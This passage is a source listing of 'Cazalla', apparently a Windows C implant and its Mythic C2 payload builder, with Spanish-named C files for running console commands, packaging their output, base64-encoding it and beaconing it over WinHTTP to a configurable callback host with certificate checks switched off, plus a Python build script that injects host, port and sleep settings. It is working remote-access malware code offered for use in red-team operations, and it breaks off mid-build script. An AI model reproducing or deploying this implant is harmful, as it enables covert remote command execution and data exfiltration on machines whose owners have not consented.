||||||
|
|
||||||
|
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
|
||||||
|
addString(salida, ruta, FALSE);
|
||||||
|
}
|
||||||
|
|
||||||
|
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
_pclose(fp);
|
||||||
|
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include "paquete.h"
|
||||||
|
#include "analizador.h"
|
||||||
|
#include "comandos.h"
|
||||||
|
|
||||||
|
BOOL ejecutarConsola(PAnalizador argumentos);
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#if defined(_DEBUG)
|
||||||
|
|
||||||
|
|
||||||
|
#define DBG "DBG"
|
||||||
|
#define ERR "ERR"
|
||||||
|
#define WRN "WRN"
|
||||||
|
#define INF "INF"
|
||||||
|
|
||||||
|
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
|
||||||
|
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
||||||
|
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
||||||
|
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
||||||
|
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
||||||
|
#elif defined(_DEBUG_RELEASE)
|
||||||
|
#define DBG
|
||||||
|
#define ERR
|
||||||
|
#define WRN
|
||||||
|
#define INF
|
||||||
|
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
|
||||||
|
CHAR out[200] = { 0 };\
|
||||||
|
sprintf(out, format"\n", ## __VA_ARGS__);\
|
||||||
|
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
|
||||||
|
CloseHandle(debugFile);}
|
||||||
|
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
||||||
|
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
||||||
|
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
||||||
|
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
||||||
|
#else
|
||||||
|
#define DBG
|
||||||
|
#define ERR
|
||||||
|
#define WRN
|
||||||
|
#define INF
|
||||||
|
#define _log(level, format, ...)
|
||||||
|
#define _dbg(format, ...)
|
||||||
|
#define _err(format, ...)
|
||||||
|
#define _wrn(format, ...)
|
||||||
|
#define _inf(format, ...)
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
#include "cazalla.h"
|
||||||
|
|
||||||
|
//#ifdef _DEBUG
|
||||||
|
//int main()
|
||||||
|
//#else
|
||||||
|
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
|
||||||
|
//#endif
|
||||||
|
{
|
||||||
|
cazallaMain();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,122 @@
|
|||||||
|
#include "cazalla.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
|
||||||
|
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
||||||
|
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
||||||
|
//v2 change to syscalls
|
||||||
|
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
||||||
|
if (!paquete) {
|
||||||
|
_err("Error: fallo al asignar memoria para Paquete\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
|
||||||
|
if (!paquete->buffer) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
paquete->length = 0;
|
||||||
|
if (init) {
|
||||||
|
addString(paquete, cazallaConfig->idAgente, FALSE);
|
||||||
|
addByte(paquete, idComando);
|
||||||
|
}
|
||||||
|
|
||||||
|
return paquete;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID liberarPaquete(PPaquete paquete) {
|
||||||
|
|
||||||
|
LocalFree(paquete->buffer);
|
||||||
|
LocalFree(paquete);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
PAnalizador mandarPaquete(PPaquete paquete) {
|
||||||
|
|
||||||
|
|
||||||
|
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
|
||||||
|
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
|
||||||
|
|
||||||
|
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
||||||
|
|
||||||
|
if (!respuesta) {
|
||||||
|
|
||||||
|
paqueteParaMandar = NULL;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return respuesta;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL addByte(PPaquete paquete, BYTE byte) {
|
||||||
|
//v2. Syscalls
|
||||||
|
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
|
||||||
|
if (!paquete->buffer) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
|
||||||
|
paquete->length += 1;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL addInt32(PPaquete paquete, UINT32 valor) {
|
||||||
|
|
||||||
|
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
|
if (!paquete->buffer) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
|
||||||
|
paquete->length += sizeof(UINT32);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL addInt64(PPaquete paquete, UINT64 valor) {
|
||||||
|
|
||||||
|
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
|
if (!paquete->buffer) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
|
||||||
|
paquete->length += sizeof(UINT64);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
||||||
|
|
||||||
|
if (tamanoCopia && tamano) {
|
||||||
|
if (!addInt32(paquete, tamano)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (tamano) {
|
||||||
|
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
|
if (!paquete->buffer) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
if (tamanoCopia) {
|
||||||
|
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
|
||||||
|
}
|
||||||
|
//v2.syscalls
|
||||||
|
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
|
||||||
|
paquete->length += tamano;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
|
||||||
|
|
||||||
|
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
|
||||||
|
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef PAQUETE_H
|
||||||
|
#define PAQUETE_H
|
||||||
|
|
||||||
|
#include "utils.h"
|
||||||
|
#include "transporte.h"
|
||||||
|
#include "analizador.h"
|
||||||
|
|
||||||
|
#define TASK_COMPLETE 0x95
|
||||||
|
#define TASK_FAILED 0x99
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
|
||||||
|
PVOID buffer;
|
||||||
|
SIZE_T length;
|
||||||
|
|
||||||
|
}Paquete, * PPaquete;
|
||||||
|
|
||||||
|
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
|
||||||
|
VOID liberarPaquete(PPaquete paquete);
|
||||||
|
PAnalizador mandarPaquete(PPaquete paquete);
|
||||||
|
|
||||||
|
BOOL addByte(PPaquete paquete, BYTE byte);
|
||||||
|
BOOL addInt32(PPaquete paquete, UINT32 valor);
|
||||||
|
BOOL addInt64(PPaquete paquete, UINT64 valor);
|
||||||
|
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
|
||||||
|
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
|
||||||
|
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,123 @@
|
|||||||
|
#include "transporte.h"
|
||||||
|
|
||||||
|
int obtenerCodigoDeEstado(HANDLE hPeticion) {
|
||||||
|
|
||||||
|
DWORD codigoDeEstado = 0;
|
||||||
|
DWORD tamanoEstado = sizeof(DWORD);
|
||||||
|
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
|
||||||
|
return 0;
|
||||||
|
return codigoDeEstado;
|
||||||
|
}
|
||||||
|
|
||||||
|
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||||
|
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
|
||||||
|
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
|
||||||
|
PVOID respBuffer = NULL;
|
||||||
|
DWORD respSize = 0;
|
||||||
|
UCHAR buffer[1024] = { 0 };
|
||||||
|
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||||
|
|
||||||
|
// Configuración de Proxy
|
||||||
|
WINHTTP_PROXY_INFO infoProxy = { 0 };
|
||||||
|
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
|
||||||
|
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
|
||||||
|
|
||||||
|
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
|
||||||
|
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
|
||||||
|
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
|
||||||
|
|
||||||
|
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
|
||||||
|
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||||
|
httpProxy = cazallaConfig->urlProxy;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cazallaConfig->SSL) {
|
||||||
|
httpFlags |= WINHTTP_FLAG_SECURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Crear sesión HTTP
|
||||||
|
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
||||||
|
if (!hSesion) return NULL;
|
||||||
|
|
||||||
|
// Conectar al servidor
|
||||||
|
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
|
||||||
|
if (!hConexion) return NULL;
|
||||||
|
|
||||||
|
// Crear petición HTTP/HTTPS
|
||||||
|
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
|
||||||
|
if (!hPeticion) return NULL;
|
||||||
|
|
||||||
|
// Configurar opciones de seguridad si es HTTPS
|
||||||
|
if (cazallaConfig->SSL) {
|
||||||
|
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||||
|
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||||
|
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||||
|
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||||
|
|
||||||
|
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Configurar proxy si está habilitado
|
||||||
|
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
|
||||||
|
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
|
||||||
|
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||||
|
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
|
||||||
|
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
|
||||||
|
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Enviar la petición
|
||||||
|
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
|
||||||
|
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Recibir respuesta
|
||||||
|
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
|
||||||
|
_err("Error al recibir respuesta HTTP\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
|
||||||
|
if (codigoDeEstado != 200) {
|
||||||
|
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Leer respuesta
|
||||||
|
do {
|
||||||
|
dwTamano = 1024;
|
||||||
|
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
|
||||||
|
printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
|
||||||
|
printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
respSize += dwDescargado;
|
||||||
|
if (!respBuffer) {
|
||||||
|
respBuffer = LocalAlloc(LPTR, respSize);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
|
||||||
|
memset(buffer, 0, 1024);
|
||||||
|
|
||||||
|
} while (dwTamano > 0);
|
||||||
|
|
||||||
|
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
|
return nuevoAnalizador((PBYTE)respBuffer, respSize);
|
||||||
|
}
|
||||||
|
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
|
||||||
|
|
||||||
|
#ifdef HTTP_TRANSPORT
|
||||||
|
return realizarPeticionHTTP(datos, tamano);
|
||||||
|
#endif
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef TRANSPORTE
|
||||||
|
#define TRANSPORTE
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include <winhttp.h>
|
||||||
|
#include "cazalla.h"
|
||||||
|
#include "analizador.h"
|
||||||
|
|
||||||
|
#pragma comment(lib, "winhttp.lib")
|
||||||
|
|
||||||
|
#define HTTP_TRANSPORT
|
||||||
|
|
||||||
|
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,193 @@
|
|||||||
|
#include "utils.h"
|
||||||
|
|
||||||
|
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
|
||||||
|
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
|
||||||
|
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
|
||||||
|
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
|
||||||
|
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
|
||||||
|
43, 44, 45, 46, 47, 48, 49, 50, 51 };
|
||||||
|
|
||||||
|
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||||
|
|
||||||
|
|
||||||
|
size_t b64tamanoCodificado(size_t inlen) {
|
||||||
|
|
||||||
|
size_t ret;
|
||||||
|
|
||||||
|
ret = inlen;
|
||||||
|
if (inlen % 3 != 0)
|
||||||
|
ret += 3 - (inlen % 3);
|
||||||
|
ret /= 3;
|
||||||
|
ret *= 4;
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
||||||
|
|
||||||
|
char* out;
|
||||||
|
SIZE_T elen;
|
||||||
|
SIZE_T i;
|
||||||
|
SIZE_T j;
|
||||||
|
SIZE_T v;
|
||||||
|
|
||||||
|
if (in == NULL || len == 0) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
elen = b64tamanoCodificado(len);
|
||||||
|
out = (char*)LocalAlloc(LPTR, elen + 1);
|
||||||
|
if (!out) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
out[elen] = '\0';
|
||||||
|
|
||||||
|
for (i = 0, j = 0; i < len; i += 3, j += 4) {
|
||||||
|
|
||||||
|
v = in[i];
|
||||||
|
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
|
||||||
|
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
|
||||||
|
|
||||||
|
out[j] = b64chars[(v >> 18) & 0x3F];
|
||||||
|
out[j + 1] = b64chars[(v >> 12) & 0x3F];
|
||||||
|
if (i + 1 < len) {
|
||||||
|
|
||||||
|
out[j + 2] = b64chars[(v >> 6) & 0x3F];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
|
||||||
|
out[j + 2] = '=';
|
||||||
|
}
|
||||||
|
if (i + 2 < len) {
|
||||||
|
|
||||||
|
out[j + 3] = b64chars[v & 0x3F];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
out[j + 3] = '=';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T b64tamanoDecodificado(const char* in) {
|
||||||
|
|
||||||
|
SIZE_T len;
|
||||||
|
SIZE_T ret;
|
||||||
|
SIZE_T i;
|
||||||
|
|
||||||
|
if (in == NULL) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
len = strlen(in);
|
||||||
|
ret = len / 4 * 3;
|
||||||
|
|
||||||
|
for (i = len; i-- > 0; ) {
|
||||||
|
if (in[i] == '=') {
|
||||||
|
ret--;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
int b64IsValidChar(char c) {
|
||||||
|
|
||||||
|
if (c >= '0' && c <= '9') {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (c >= 'A' && c <= 'Z') {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (c >= 'a' && c <= 'z') {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (c == '+' || c == '/' || c == '=') {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
||||||
|
|
||||||
|
SIZE_T len;
|
||||||
|
SIZE_T i;
|
||||||
|
SIZE_T j;
|
||||||
|
int v;
|
||||||
|
|
||||||
|
if (in == NULL || out == NULL) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
len = strlen(in);
|
||||||
|
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < len; i++) {
|
||||||
|
if (!b64IsValidChar(in[i])) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0, j = 0; i < len; i += 4, j += 3) {
|
||||||
|
v = b64invs[in[i] - 43];
|
||||||
|
v = (v << 6) | b64invs[in[i + 1] - 43];
|
||||||
|
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
|
||||||
|
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
|
||||||
|
|
||||||
|
out[j] = (v >> 16) & 0xFF;
|
||||||
|
if (in[i + 2] != '=') {
|
||||||
|
out[j + 1] = (v >> 8) & 0xFF;
|
||||||
|
}
|
||||||
|
if (in[i + 3] != '=') {
|
||||||
|
out[j + 2] = v & 0xFF;
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
||||||
|
|
||||||
|
(buffer)[0] = (value >> 24) & 0xFF;
|
||||||
|
(buffer)[1] = (value >> 16) & 0xFF;
|
||||||
|
(buffer)[2] = (value >> 8) & 0xFF;
|
||||||
|
(buffer)[3] = (value) & 0xFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
|
||||||
|
|
||||||
|
buffer[7] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
|
|
||||||
|
buffer[6] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
|
|
||||||
|
buffer[5] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
|
|
||||||
|
buffer[4] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
|
|
||||||
|
buffer[3] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
|
|
||||||
|
buffer[2] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
|
|
||||||
|
buffer[1] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
|
|
||||||
|
buffer[0] = value & 0xFF;
|
||||||
|
}
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef UTILS
|
||||||
|
#define UTILS
|
||||||
|
#include <windows.h>
|
||||||
|
#include "debug.h"
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef __MINGW64__
|
||||||
|
#define BYTESWAP32(x) __builtin_bswap32( x )
|
||||||
|
#define BYTESWAP64(x) __builtin_bswap64( x )
|
||||||
|
#endif
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
#define BYTESWAP32(x) _byteswap_ulong(x)
|
||||||
|
#define BYTESWAP64(x) _byteswap_uint64(x)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
SIZE_T b64tamanoDecodificado(const char* in);
|
||||||
|
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
|
||||||
|
char* b64Codificado(const unsigned char* in, SIZE_T len);
|
||||||
|
size_t b64tamanoCodificado(size_t inlen);
|
||||||
|
|
||||||
|
|
||||||
|
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
|
||||||
|
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,131 @@
|
|||||||
|
import pathlib
|
||||||
|
import tempfile
|
||||||
|
from mythic_container.PayloadBuilder import *
|
||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
import json
|
||||||
|
from distutils.dir_util import copy_tree
|
||||||
|
import asyncio
|
||||||
|
|
||||||
|
|
||||||
|
class CazallaAgent(PayloadType):
|
||||||
|
name = "Cazalla"
|
||||||
|
file_extension = "exe"
|
||||||
|
author = "OFSTeam"
|
||||||
|
supported_os = [SupportedOS.Windows]
|
||||||
|
wrapper = False
|
||||||
|
wrapped_payloads = []
|
||||||
|
note = """C implant Developed by the Kaseya OFSTeam"""
|
||||||
|
supports_dynamic_loading = False
|
||||||
|
c2_profiles = ["http"]
|
||||||
|
mythic_encrypts = False
|
||||||
|
translation_container = "cazalla_translator"
|
||||||
|
build_parameters = [
|
||||||
|
BuildParameter(
|
||||||
|
name="output",
|
||||||
|
parameter_type=BuildParameterType.ChooseOne,
|
||||||
|
description="Choose output format",
|
||||||
|
choices=["exe", "dll", "debug_exe","debug_dll"],
|
||||||
|
default_value="exe"
|
||||||
|
),
|
||||||
|
]
|
||||||
|
agent_path = pathlib.Path(".") / "cazalla"
|
||||||
|
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
|
||||||
|
agent_code_path = agent_path / "agent_code"
|
||||||
|
|
||||||
|
build_steps = [
|
||||||
|
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
|
||||||
|
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
|
||||||
|
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def build(self) -> BuildResponse:
|
||||||
|
# this function gets called to create an instance of your payload
|
||||||
|
resp = BuildResponse(status=BuildStatus.Success)
|
||||||
|
Config = {
|
||||||
|
"payload_uuid": self.uuid,
|
||||||
|
"callback_host": "",
|
||||||
|
"USER_AGENT": "",
|
||||||
|
"httpMethod": "POST",
|
||||||
|
"post_uri": "",
|
||||||
|
"headers": [],
|
||||||
|
"callback_port": 80,
|
||||||
|
"ssl":False,
|
||||||
|
"proxyEnabled": False,
|
||||||
|
"proxy_host": "",
|
||||||
|
"proxy_user": "",
|
||||||
|
"proxy_pass": "",
|
||||||
|
}
|
||||||
|
stdout_err = ""
|
||||||
|
for c2 in self.c2info:
|
||||||
|
profile = c2.get_c2profile()
|
||||||
|
for key, val in c2.get_parameters_dict().items():
|
||||||
|
if isinstance(val, dict) and 'enc_key' in val:
|
||||||
|
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
|
||||||
|
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
|
||||||
|
else:
|
||||||
|
Config[key] = val
|
||||||
|
break
|
||||||
|
|
||||||
|
if "https://" in Config["callback_host"]:
|
||||||
|
Config["ssl"] = True
|
||||||
|
|
||||||
|
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
|
||||||
|
if Config["proxy_host"] != "":
|
||||||
|
Config["proxyEnabled"] = True
|
||||||
|
# create the payload
|
||||||
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
|
PayloadUUID=self.uuid,
|
||||||
|
StepName="Gathering Files",
|
||||||
|
StepStdout="Found all files for payload",
|
||||||
|
StepSuccess=True
|
||||||
|
))
|
||||||
|
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
||||||
|
copy_tree(str(self.agent_code_path), agent_build_path.name)
|
||||||
|
|
||||||
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
|
PayloadUUID=self.uuid,
|
||||||
|
StepName="Applying configuration",
|
||||||
|
StepStdout="All configuration setting applied",
|
||||||
|
StepSuccess=True
|
||||||
|
))
|
||||||
|
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
|
||||||
|
content = f.read()
|
||||||
|
content = content.replace("%UUID%", Config["payload_uuid"])
|
||||||
|
content = content.replace("%HOSTNAME%", Config["callback_host"])
|
||||||
|
content = content.replace("%ENDPOINT%", Config["post_uri"])
|
||||||
|
if Config["ssl"]:
|
||||||
|
content = content.replace("%SSL%", "TRUE")
|
||||||
|
else:
|
||||||
|
content = content.replace("%SSL%", "FALSE")
|
||||||
|
content = content.replace("%PORT%", str(Config["callback_port"]))
|
||||||
|
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
|
||||||
|
